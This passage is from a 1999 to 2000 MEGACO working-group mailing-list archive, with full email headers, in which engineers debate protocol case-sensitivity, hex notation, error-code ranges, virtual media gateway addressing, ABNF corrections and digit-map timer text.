I might change my mind about this but we dont. Hence, it is case-insensitive
everywhere.

As for "0x", I am not a big fan of it because we can assume the same
as IP. If we get rid of it then we have to indicate clearly somewhere
that it is hex. We might as well leave it as is.


Abdallah


Chip Sharp wrote:

> A question came up on this matter at SG16.
>
> I was wondering if the statement on case sensitive applies to things like
> QuotedStrings.  Are there any other things that are case-sensitive.
>
> I notice that "0x" has been added to some of the productions with
> HexDig.  Is "0x" cases insensitive.   In addition, is the intention that
> all Hex strings are preceded?
> In this case, more of these things need to be added.  For example IPv4
> address uses hex digits, but don't have the "0x".  This should be
> consistent.  I'm not sure 0x is necessary to mark Hex digits.
>
> SG16 would like some clarification on the scope of the statement that the
> protocol is case-insensitive.  As well as the line that the Identifier is
> case insensitive.
>
> Chip
>
> At 05:10 PM 10/29/99 -0400, Brian Rosen wrote:
> >I believe the intention is that the entire protocol is not case sensitive,
> >no exceptions.
> >
> >Others may disagree.  We surely need to say one way or the other in Annex B.
> >
> >Brian
> >
> > > -----Original Message-----
> > > From: Al Varney [mailto:varney@lucent.com]
> > > Sent: Friday, October 29, 1999 4:05 PM
> > > To: Brian Rosen
> > > Subject: Case-sensitive - Was: Hex versus Decimal Numbers
> > >
> > >
> > > Brian and Jon Steer,
> > >
> > > At 15:14 10/29/1999 -0400, Brian Rosen wrote:
> > > >I think you are correct, and we should make this change.
> > >
> > >     Maybe you two could answer some dumb questions.  MGCP spec
> > > specifically said (at least for Verbs and Events) that
> > > text-comparisons
> > > were case-insensitive.  [ "glinesup/onhook" and "glinesup/OnHook" are
> > > identical. ]
> > >
> > >    Is this the intent in Annex B?  (It's not stated.  If nothing else,
> > > you could add a note to the NAME definition.)
> > >
> > >    The MGCP spec also specifies the case-insensitive treatment on an
> > > object-by-object basis.  That is, Verbs are noted as case-insensitive
> > > in one place, Events are noted as case-insensitive in another, etc.
> > > It's not obvious if EVERYTHING is case-insensitive (URLs,
> > > Domain Names,
> > > etc.), or just those objects described that way in the
> > >
> > >    So another question (or thought experiment) is:  If I converted any
> > > text-based command to both all-UPPER-CASE and all-LOWER-CASE (prior to
> > > parsing), would the resulting commands both work?  If not, which items
> > > (URLs, parameters to packages, SDP contents, etc.) are allowed to be
> > > NON-case-insensitive?
> > >
> > >    Finally, if some places are case-sensitive, how does one test that
> > > an implementation isn't case-sensitive in an inappropriate place?
> > >
> > >
> > > Al Varney - Lucent Technologies  +1 630 224-7493    varney@lucent.com
> > >
>
> Support NetAid!  http://www.netaid.org
> --------------------------------------------------
> Chip Sharp                 Consulting Engineering
> Cisco Systems              Telco Bio-region
> Reality - Love it or Leave it.
> --------------------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 11 16:40:02 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA22226
	for ; Fri, 11 Feb 2000 16:39:58 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.2CC039F0@standards.nortelnetworks.com>; Fri, 11 Feb 2000 16:36:41 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 42678 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 11 Feb 2000 16:34:52 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.EBDB3840@standards.nortelnetworks.com>; Fri, 11 Feb 2000
          16:34:52 -0500
Received: from zmers013 by smtprch1.nortel.com; Fri, 11 Feb 2000 15:36:30 -0600
Received: from zcard00n.ca.nortel.com (actually zcard00n) by zmers013; Fri, 11
          Feb 2000 16:36:21 -0500
Received: from zcard00f.ca.nortel.com ([47.129.30.8]) by zcard00n.ca.nortel.com
          with SMTP (Microsoft Exchange Internet Mail Service Version
          5.5.2650.21) id 12FVMPPJ; Fri, 11 Feb 2000 16:36:21 -0500
Received: from americasm01.nt.com (wcars052.ca.nortel.com [47.128.210.104]) by
          zcard00f.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail
          Service Version 5.5.2448.0) id DMXAJXK4; Fri, 11 Feb 2000 16:36:20
          -0500
X-Mailer: Mozilla 4.6 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
References: 
Content-Type: multipart/alternative;
              boundary="------------62B084878960C90C7CC26B82"
Message-ID:  <38A48141.B1F96EA@americasm01.nt.com>
Date:         Fri, 11 Feb 2000 16:38:09 -0500
Reply-To: Abdallah Rayhan 
Sender: "Media Gateway Control (megaco)"
              
From: Abdallah Rayhan 
Organization: Nortel Networks
Subject:      Re: Errors and Error Codes
X-To:         Tom-PT Taylor 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

--------------62B084878960C90C7CC26B82
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

"Taylor, Tom-PT (P.T.) [EXCHANGE:CAR:B904]" wrote:

> Could someone explain the logic behind the assignment of these codes?  Why
> start at 400? -- our numbering space is only 000 to 999 and it doesn't seem
> right to waste half of it.

Very well! It is an error reporting de facto that is used in several protocols.

The only documentation I am aware of is reported in HTTP1.1 RFC 2616.
I dont know where else or the origin but here is the documentation,


> The first digit of the Status-Code defines the class of response. The
> last two digits do not have any categorization role. There are 5
> values for the first digit:
>
>       - 1xx: Informational - Request received, continuing process
>
>       - 2xx: Success - The action was successfully received,
>         understood, and accepted
>
>       - 3xx: Redirection - Further action must be taken in order to
>         complete the request
>
>       - 4xx: Client Error - The request contains bad syntax or cannot
>         be fulfilled
>
>       - 5xx: Server Error - The server failed to fulfill an apparently
>         valid request
>
Hope that helps,

Abdallah

--------------62B084878960C90C7CC26B82
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit



"Taylor, Tom-PT (P.T.) [EXCHANGE:CAR:B904]" wrote:

Could someone explain the logic behind the assignment
of these codes?  Why

start at 400? -- our numbering space is only 000 to 999 and it doesn't
seem

right to waste half of it.

Very well! It is an error reporting de facto that is used in several protocols.

The only documentation I am aware of is reported in HTTP1.1 RFC 2616.

I dont know where else or the origin but here is the documentation,

 



The first digit of the Status-Code defines the class of response. The
last two digits do not have any categorization role. There are 5
values for the first digit:

      - 1xx: Informational - Request received, continuing process

      - 2xx: Success - The action was successfully received,
        understood, and accepted

      - 3xx: Redirection - Further action must be taken in order to
        complete the request

      - 4xx: Client Error - The request contains bad syntax or cannot
        be fulfilled

      - 5xx: Server Error - The server failed to fulfill an apparently
        valid request





Hope that helps,

Abdallah

--------------62B084878960C90C7CC26B82--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 11 16:47:54 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA22624
	for ; Fri, 11 Feb 2000 16:47:50 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.4C82C2C0@standards.nortelnetworks.com>; Fri, 11 Feb 2000 16:44:44 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 42710 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 11 Feb 2000 16:43:39 -0500
Received: from mail-dns1-nj.dialogic.com by standards.nortelnetworks.com (LSMTP
          for Windows NT v1.1a) with SMTP id
          <0.25BB1660@standards.nortelnetworks.com>; Fri, 11 Feb 2000 16:43:39
          -0500
Received: from mail4.dialogic.com (mail4.dialogic.com [146.152.6.40]) by
          mail-dns1-nj.dialogic.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.11
          1999/11/10 17:27:15 spurcell Exp $) with ESMTP id VAA15578 for
          ; Fri, 11 Feb 2000 21:45:51 GMT
Received: from exchange4nj.dialogic.com (exchange4nj.dialogic.com
          [146.152.3.19]) by mail4.dialogic.com (PMDF V5.2-31 #40816) with
          ESMTP id <0FPS005HBCEBBX@mail4.dialogic.com> for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 11 Feb 2000 16:44:35 -0500
          (EST)
Received: by exchange4nj.dialogic.com with Internet Mail Service (5.5.2650.21)
          id ; Fri, 11 Feb 2000 16:43:15 -0500
Content-return: allowed
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-type: text/plain; charset=iso-8859-1
Content-transfer-encoding: 7BIT
Message-ID:  
Date:         Fri, 11 Feb 2000 16:42:10 -0500
Reply-To: "Rupsis, Paul" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rupsis, Paul" 
Subject:      Virtual MGs
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7BIT

I would like to ask for clarification on addressing
Virtual MGs. The attached thread indicates that
multiple ports would be needed when using IP
transport.

In addition, Section 11.1 states "A physical MG may
have only one network interface, which must be shared
across virtual MGs."

Given that only 1 port has been reserved for
Megaco (2944 for text-based protocol), how can multiple
virtual MGs be addressed? Or do I assume that v1 of Megaco
supports N Virtual MGs (N=1)?

Thanks,

Paul Rupsis
Dialogic, an Intel Company



-----Original Message-----
From: Brian Rosen [mailto:brosen@ENG.FORE.COM]
Sent: Thursday, November 04, 1999 4:14 PM
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject: Re: MG-MGC control interface


You would have a separate port for each association.

The thing now called ServiceChangeAddress would specify it
if necessary.

> -----Original Message-----
> From: Petros N. Mouchtaris [mailto:pmouchta@TELCORDIA.COM]
> Sent: Thursday, November 04, 1999 9:27 AM
> To: MEGACO@standards.nortelnetworks.com
> Subject: Re: MG-MGC control interface
>
>
> Brian,
> The previous answer you gave (mId) could work but it would
> not be pretty.
> The new answer you are giving would work too but it will not
> be pretty either.
>
> How will the MGC and MG know which port corresponds to which MG?
> Are you planning to reserve more than one well known port for
> the protocol?
>
> Petros
>
>
>
>
>
> Brian Rosen  on 11/03/99 08:17:11 PM
>
> Please respond to Brian Rosen 
>
> To:   MEGACO@standards.nortelnetworks.com
> cc:    (bcc: Petros N. Mouchtaris/Telcordia)
> Subject:  Re: MG-MGC control interface
>
>
>
>
> Sorry I confused you.  You are correct. I must have been
> asleep; this issue
> was raised and answered before.
>
> The transport differentiates the streams.  Using IP
> transport, for example,
> each flow is on a different port.  Using ATM transport with
> SSCOP, each
> stream is a different VC.
>
> Brian
>
>
> > -----Original Message-----
> > From: Giuseppe Ricagni [mailto:giuseppe.ricagni@italtel.it]
> > Sent: Wednesday, November 03, 1999 10:31 AM
> > To: Brian Rosen
> > Cc: MEGACO@standards.nortelnetworks.com
> > Subject: Re: MG-MGC control interface
> >
> >
> > Sorry Brian, but now I' m confused too.
> >
> > Brian Rosen wrote:
> >
> > > > By the way, how does a virtual MG know that a message coming
> > > > from the MGC is
> > > > destined
> > > > for this virtual MG? I assume that messages to all virtual
> > > > MGs in the same
> > > > physical MG go to the
> > > > same IP address. The MGC IP address can be used as a way to
> > > > route messages to
> > > > the right
> > > > virtual MG provided that the list of MGC for each virtual MG
> > > > are mutually
> > > > exclusive.
> > > Actually it's more complicated than that, since, at least in
> > > theory, the same MGC could control multiple virtual MGs on
> > the same physical
> > > MG.
> > >
> > > The answer is that the mId of the message would be unique
> > for each virtual
> > > MG.  That implies you have something like
> > > aliases in your DNS.
> > >
> >
> > In section 8.3 I read "Messages have a header, which includes
> > the identity of
> > the sender. The Message Identifier (MID) of a message is set
> > to a provisioned
> > name (e.g. domain address/domain name/device name) of the
> > entity transmitting
> > the message."
> >
> > The mId identifies the sender' s (MGC) name, and not the
> > target name (MG),
> > doesn' t it ?
> > Do we assume that we need multiple "virtual MGCs" to cater
> > for virtual MGs ?
> >
> >
> > Best Regards
> > Giuseppe Ricagni
> >
> >
> >
> > --
> > ----------------------------------------------------------
> > Giuseppe RICAGNI
> > System Architecture and Product Planning
> > Broadband Networks
> > Italtel
> > via Reiss Romoli - C10
> > 20019 Castelletto di Settimo Milanese (MILANO)
> > ITALY
> >
> > mailto:giuseppe@ricagni.it
> > ----------------------------------------------------------
> >
> >
> >
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Sat Feb 12 15:01:50 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA25366
	for ; Sat, 12 Feb 2000 15:01:49 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.95AF1B00@standards.nortelnetworks.com>; Sat, 12 Feb 2000 14:58:13 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 43852 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Sat, 12 Feb 2000 14:57:22 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.776F4520@standards.nortelnetworks.com>; Sat, 12 Feb 2000
          14:57:22 -0500
Received: from zmers013 by smtprch1.nortel.com; Sat, 12 Feb 2000 13:59:39 -0600
Received: from zrchb213.us.nortel.com (actually zrchb213) by zmers013; Sat, 12
          Feb 2000 14:59:33 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2650.21) id
          <1TWF7C0M>; Sat, 12 Feb 2000 13:59:31 -0600
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF7593.ACC4649C"
Message-ID:  
Date:         Sat, 12 Feb 2000 13:59:31 -0600
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      Re: Errors and Error Codes
X-To:         Flemming Andreasen 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF7593.ACC4649C
Content-Type: text/plain

Replies below.

> -----Original Message-----
> From: Flemming Andreasen [SMTP:fandreasen@worldnet.att.net]
> Sent: Friday, February 11, 2000 9:29 AM
> To:   Taylor, Tom-PT [CAR:B904:EXCH]
> Cc:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject:      Re: Errors and Error Codes
>
>
>
> Tom-PT Taylor wrote:
>
> > This E-mail covers several topics dealing with error reporting.
> >
> > A. Asynchronous Error Reporting
> > ========================
> >
> > We have discussed, here in Geneva, a mechanism for generating
> spontaneous
> > notifications of error conditions (i.e. use of the "cause" event in the
> > generic package).  The suggested mechanism is this:
> >
> >   -- we reserve a block of event request-IDs (e.g. 0-15) for assignment
> to
> > classes of event the MGC will always want enabled (or alternatively can
> > enable or disable using a Root property).  As an example of use, we
> assign
> > requestID 0 to spontaneous error reports.  This way it won't be
> necessary to
> > include the cause event in every Event Descriptor
> >
>
> I agree with the goal, but I'm not sure I agree with the solution (could
> be I
> just misinterpreted it), so let me ask a couple of questions for
> clarification:
>
> Does this mean, that if I play a signal that succeeds, I will get a
> completion
> event through the normal channels and with a RequestID matching my
> request, but
> if it fails, it will come through this other channel using one of these
> special
> RequestIDs ?
        [[TomT]]
        That's correct.  Mind, if the completion event is left as it is now
defined in -megaco-protocol-06, you will ALSO get a signal completion event
with RequestID matching the request and termination method "FL".  This can
be changed -- it was due to be taken out in the wake of discussion on the
list indicating a preference for using the Cause event.

> What about ordering ? Will I be guaranteed to receive the error before any
> other
> subsequent events on the termination ?
        [[TomT]]
        Somewhere -- presumably in the Events section -- we should state
that the MG must report events in the order in which they occur.  Does this
meet your requirement?


> >
> >   -- rather than making errorDescriptor an optional component of the
> Notify
> > command (as our ABNF now states), we make it a parameter of the cause
> event.
> >
> >   -- this mechanism allows the inclusion of some error codes in our list
> in
> > section 7.3 which otherwise shouldn't be there because they would not
> result
> > from transaction processing.  One example is 518 "event buffer full".
> >
> >
>
> <>
>
> -- Flemming
>
>
> --
> ---------------------------------------
> Flemming Andreasen
> Cisco Systems
> ---------------------------------------
>
>

------_=_NextPart_001_01BF7593.ACC4649C
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable






RE: Errors and Error Codes




Replies =
below.



    

    -----Original Message-----

    From:   Flemming Andreasen =
[SMTP:fandreasen@worldnet.att.net]

    Sent:   Friday, February 11, 2000 9:29 AM

    To:     Taylor, Tom-PT [CAR:B904:EXCH]

    Cc:     MEGACO@STANDARDS.NORTELNETWORKS.COM

    Subject:       =
 Re: Errors and Error Codes

    

    

    


    Tom-PT Taylor wrote:

    


    > This E-mail covers several topics =
dealing with error reporting.

    >

    > A. Asynchronous Error =
Reporting

    > =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=


    >

    > We have discussed, here in =
Geneva, a mechanism for generating spontaneous

    > notifications of error =
conditions (i.e. use of the "cause" event in the

    > generic package).  The =
suggested mechanism is this:

    >

    >   -- we reserve a =
block of event request-IDs (e.g. 0-15) for assignment to

    > classes of event the MGC will =
always want enabled (or alternatively can

    > enable or disable using a Root =
property).  As an example of use, we assign

    > requestID 0 to spontaneous error =
reports.  This way it won't be necessary to

    > include the cause event in every =
Event Descriptor

    >

    


    I agree with the goal, but I'm not =
sure I agree with the solution (could be I

    just misinterpreted it), so let me =
ask a couple of questions for clarification:

    


    Does this mean, that if I play a =
signal that succeeds, I will get a completion

    event through the normal channels and =
with a RequestID matching my request, but

    if it fails, it will come through =
this other channel using one of these special

    RequestIDs ?

    [[TomT]]  

    That's =
correct.  Mind, if the completion event is left as it is now =
defined in -megaco-protocol-06, you will ALSO get a signal completion =
event with RequestID matching the request and termination method =
"FL".  This can be changed -- it was due to be taken out =
in the wake of discussion on the list indicating a preference for using =
the Cause event.
    


    What about ordering ? Will I be =
guaranteed to receive the error before any other

    subsequent events on the termination =
?

    [[TomT]]  

    Somewhere -- =
presumably in the Events section -- we should state that the MG must =
report events in the order in which they occur.  Does this meet =
your requirement?
    

    


    >

    >   -- rather than =
making errorDescriptor an optional component of the Notify

    > command (as our ABNF now =
states), we make it a parameter of the cause event.

    >

    >   -- this mechanism =
allows the inclusion of some error codes in our list in

    > section 7.3 which otherwise =
shouldn't be there because they would not result

    > from transaction =
processing.  One example is 518 "event buffer =
full".

    >

    >

    


    <<stuff deleted>>

    


    -- Flemming

    

    


    --

    ---------------------------------------

    Flemming Andreasen

    Cisco Systems

    ---------------------------------------

    

    




------_=_NextPart_001_01BF7593.ACC4649C--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Sat Feb 12 15:04:30 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA25392
	for ; Sat, 12 Feb 2000 15:04:30 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.DE1CF9C0@standards.nortelnetworks.com>; Sat, 12 Feb 2000 15:00:14 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 43870 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Sat, 12 Feb 2000 14:58:24 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.9C9109B0@standards.nortelnetworks.com>; Sat, 12 Feb 2000
          14:58:24 -0500
Received: from zmers013 by smtprch1.nortel.com; Sat, 12 Feb 2000 14:00:49 -0600
Received: from zrchb213.us.nortel.com (actually zrchb213) by zmers013; Sat, 12
          Feb 2000 15:00:42 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2650.21) id
          <1TWF7C0Q>; Sat, 12 Feb 2000 14:00:40 -0600
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF7593.D5C5F68A"
Message-ID:  
Date:         Sat, 12 Feb 2000 14:00:40 -0600
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      Re: Comments on V15: ABNF related
X-To:         Shalini Philip 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF7593.D5C5F68A
Content-Type: text/plain

Good comments.  People should verify the appropriateness of the fixes
proposed below.

> -----Original Message-----
> From: Shalini Philip [SMTP:sphilip@FICON-TECH.COM]
> Sent: Friday, February 11, 2000 7:01 AM
> To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject:      Comments on V15: ABNF related
>
> Hello Brian,
>
> 1. Section 7.1.5 mentions the possibility of CHOOSE wildcard as one of
> the property values. However there is no provision for the same in the
> ABNF.
        [[TomT]]
        I believe the appropriate solution for this is to add CHOOSE to the
set of possible values of alternativeValue in Annex B.  The ASN.1 already
covers it by allowing CHOOSE in production PropertyParm.

> 2. Digit Map Value in the digitMapDescriptor production should be
> optional.
>
> digitMapDescriptor   = DigitMapToken EQUAL digitMapName
>                        ( LBRKT digitMapValue RBRKT )
        [[TomT]]
        Based on text I just released, I would propose that a
DigitMapDescriptor is used only when the intent is to store a value against
a digit map name.  To activate a digit map, we give the name or value as a
parameter to a digit map completion event.

> 3. VersionToken is not defined.
        [[TomT]]
        Right.  Used in the ServiceChange descriptor.

> 4. DiscardToken has to be removed, since it is not used anywhere.
        [[TomT]]  Right.


> Regards,
>
> Shalini Philip
> Ficon Technology
> E-Mail : mailto:sphilip@ficon-tech.com
> Web    : http://www.ficon-tech.com

------_=_NextPart_001_01BF7593.D5C5F68A
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable






RE: Comments on V15: ABNF related




Good comments.  =
People should verify the appropriateness of the fixes proposed below. =




    

    -----Original Message-----

    From:   Shalini Philip =
[SMTP:sphilip@FICON-TECH.COM]

    Sent:   Friday, February 11, 2000 7:01 AM

    To:     MEGACO@STANDARDS.NORTELNETWORKS.COM

    Subject:       =
 Comments on V15: ABNF related

    


    Hello Brian,

    


    1. Section 7.1.5 mentions the =
possibility of CHOOSE wildcard as one of

    the property values. However there is =
no provision for the same in the

    ABNF.

    [[TomT]]  

    I believe the =
appropriate solution for this is to add CHOOSE to the set of possible =
values of alternativeValue in Annex B.  The ASN.1 already covers =
it by allowing CHOOSE in production PropertyParm.
    


    2. Digit Map Value in the =
digitMapDescriptor production should be

    optional.

    


    digitMapDescriptor   =3D =
DigitMapToken EQUAL digitMapName

             &nb=
sp;           &nb=
sp; ( LBRKT digitMapValue RBRKT )

    [[TomT]]  

    Based on text I =
just released, I would propose that a DigitMapDescriptor is used only =
when the intent is to store a value against a digit map name.  To =
activate a digit map, we give the name or value as a parameter to a =
digit map completion event.
    


    3. VersionToken is not defined.

    [[TomT]]  

    Right.  Used =
in the ServiceChange descriptor.

    


    4. DiscardToken has to be removed, =
since it is not used anywhere.

    [[TomT]]  Right. 

    

    


    Regards,

    


    Shalini Philip

    Ficon Technology

    E-Mail : mailto:sphilip@ficon-tech.com=


    Web    : =
http://www.ficon-tech.com

    




------_=_NextPart_001_01BF7593.D5C5F68A--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Sat Feb 12 15:08:44 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA25394
	for ; Sat, 12 Feb 2000 15:04:31 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.DE8112C0@standards.nortelnetworks.com>; Sat, 12 Feb 2000 15:00:15 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 43877 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Sat, 12 Feb 2000 14:58:45 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.A89BC560@standards.nortelnetworks.com>; Sat, 12 Feb 2000
          14:58:45 -0500
Received: from zmers013 by smtprch1.nortel.com; Sat, 12 Feb 2000 14:01:05 -0600
Received: from zrchb213.us.nortel.com (actually zrchb213) by zmers013; Sat, 12
          Feb 2000 15:00:54 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2650.21) id
          <1TWF7C0R>; Sat, 12 Feb 2000 14:00:52 -0600
X-Mailer: Internet Mail Service (5.5.2650.21)
Message-ID:  
Date:         Sat, 12 Feb 2000 14:00:53 -0600
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      "0X" Valid?
X-To:         Jon Steer 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

While examining the implications of the Annex B remark: "The protocol is not
case sensitive.  Identifiers are not case sensitive.", we noticed the "0x"
literals in the AH fields.  It occurred to us to wonder if "0X" would catch
someone by surprise.  According to the qouted remark at the start of Annex B
section B.2, "0X" is valid.

Tom Taylor
Advisor -- Emerging Carrier IP Standards
E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor)
Phone and FAX: +1 613 736 0961


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Sat Feb 12 15:08:44 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA25371
	for ; Sat, 12 Feb 2000 15:01:50 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.95F1F060@standards.nortelnetworks.com>; Sat, 12 Feb 2000 14:58:13 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 43857 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Sat, 12 Feb 2000 14:57:50 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.87E1C7C0@standards.nortelnetworks.com>; Sat, 12 Feb 2000
          14:57:50 -0500
Received: from zmers013 by smtprch1.nortel.com; Sat, 12 Feb 2000 14:00:15 -0600
Received: from zrchb213.us.nortel.com (actually zrchb213) by zmers013; Sat, 12
          Feb 2000 14:59:55 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2650.21) id
          <1TWF7C0N>; Sat, 12 Feb 2000 13:59:53 -0600
X-Mailer: Internet Mail Service (5.5.2650.21)
Message-ID:  
Date:         Sat, 12 Feb 2000 13:59:54 -0600
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      Digit Maps Again
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

A case has been made to add the explicit long and short timers back in to
digit map strings.  The reason is that the default timing rules work fine
for call processing situations, but not for other situations such as
subscriber editing of terminal-related features.  Here is the text which is
proposed to be added.  Along with this change, the character indicating that
a long duration tone is expected becomes "Z" instead of "L".
(begin new text)
In addition to these event symbols, the string may contain "S" and "L"
inter-event timing specifiers and the "Z" duration modifier.  "S" and "L"
respectively indicate that the MG should use the short (S) timer or the long
(L) timer while waiting for the next event in the alternative event sequence
in which the timing specifier occurs, over-riding the timing rules described
above.  If an explicit timing specifier is present for the current position
in one candidate alternative event sequence, but none is present in any
other candidate sequence, the timer value given by the explicit timing
specifier must be used.  However, if timing specifiers are present for the
same event position in multiple alternative sequences and they are in
conflict, the results are undefined.  A timer specifier following a dot
specifies inter-event timing for all events matching the dot.
A "Z" designates a long duration event ...
(end new text)

I've also realized that there is no text describing how digit maps are
activated.  I propose this text immediately following the numbered procedure
section.  This will replace a paragraph I think is there now (I don't have
the I-D handy).
(begin replacement text)
        A digit map is activated whenever a new event descriptor or embedded
event descriptor is activated, and that event descriptor contains a digit
map completion event which itself contains a digit map parameter.  Each new
activation of a digit map begins at step 1 of the above procedure, with a
clear current dial string.  Any previous contents of the current dial string
from an earlier activation are lost.  While the digit map is activated,
detection is enabled for all events defined in the package containing the
specified digit map completion event.  Normal event behaviour (e.g. stopping
of signals unless the digit completion event has the KeepActive flag
enabled) continues to apply for each such event detected, except that the
events are not individually notified.
(end replacement text)

Tom Taylor
Advisor -- Emerging Carrier IP Standards
E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor)
Phone and FAX: +1 613 736 0961


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Sat Feb 12 16:18:55 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA26465
	for ; Sat, 12 Feb 2000 16:18:54 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.5F2D3E80@standards.nortelnetworks.com>; Sat, 12 Feb 2000 16:15:26 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 44026 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Sat, 12 Feb 2000 16:14:24 -0500
Received: from mail.pi.se by standards.nortelnetworks.com (LSMTP for Windows NT
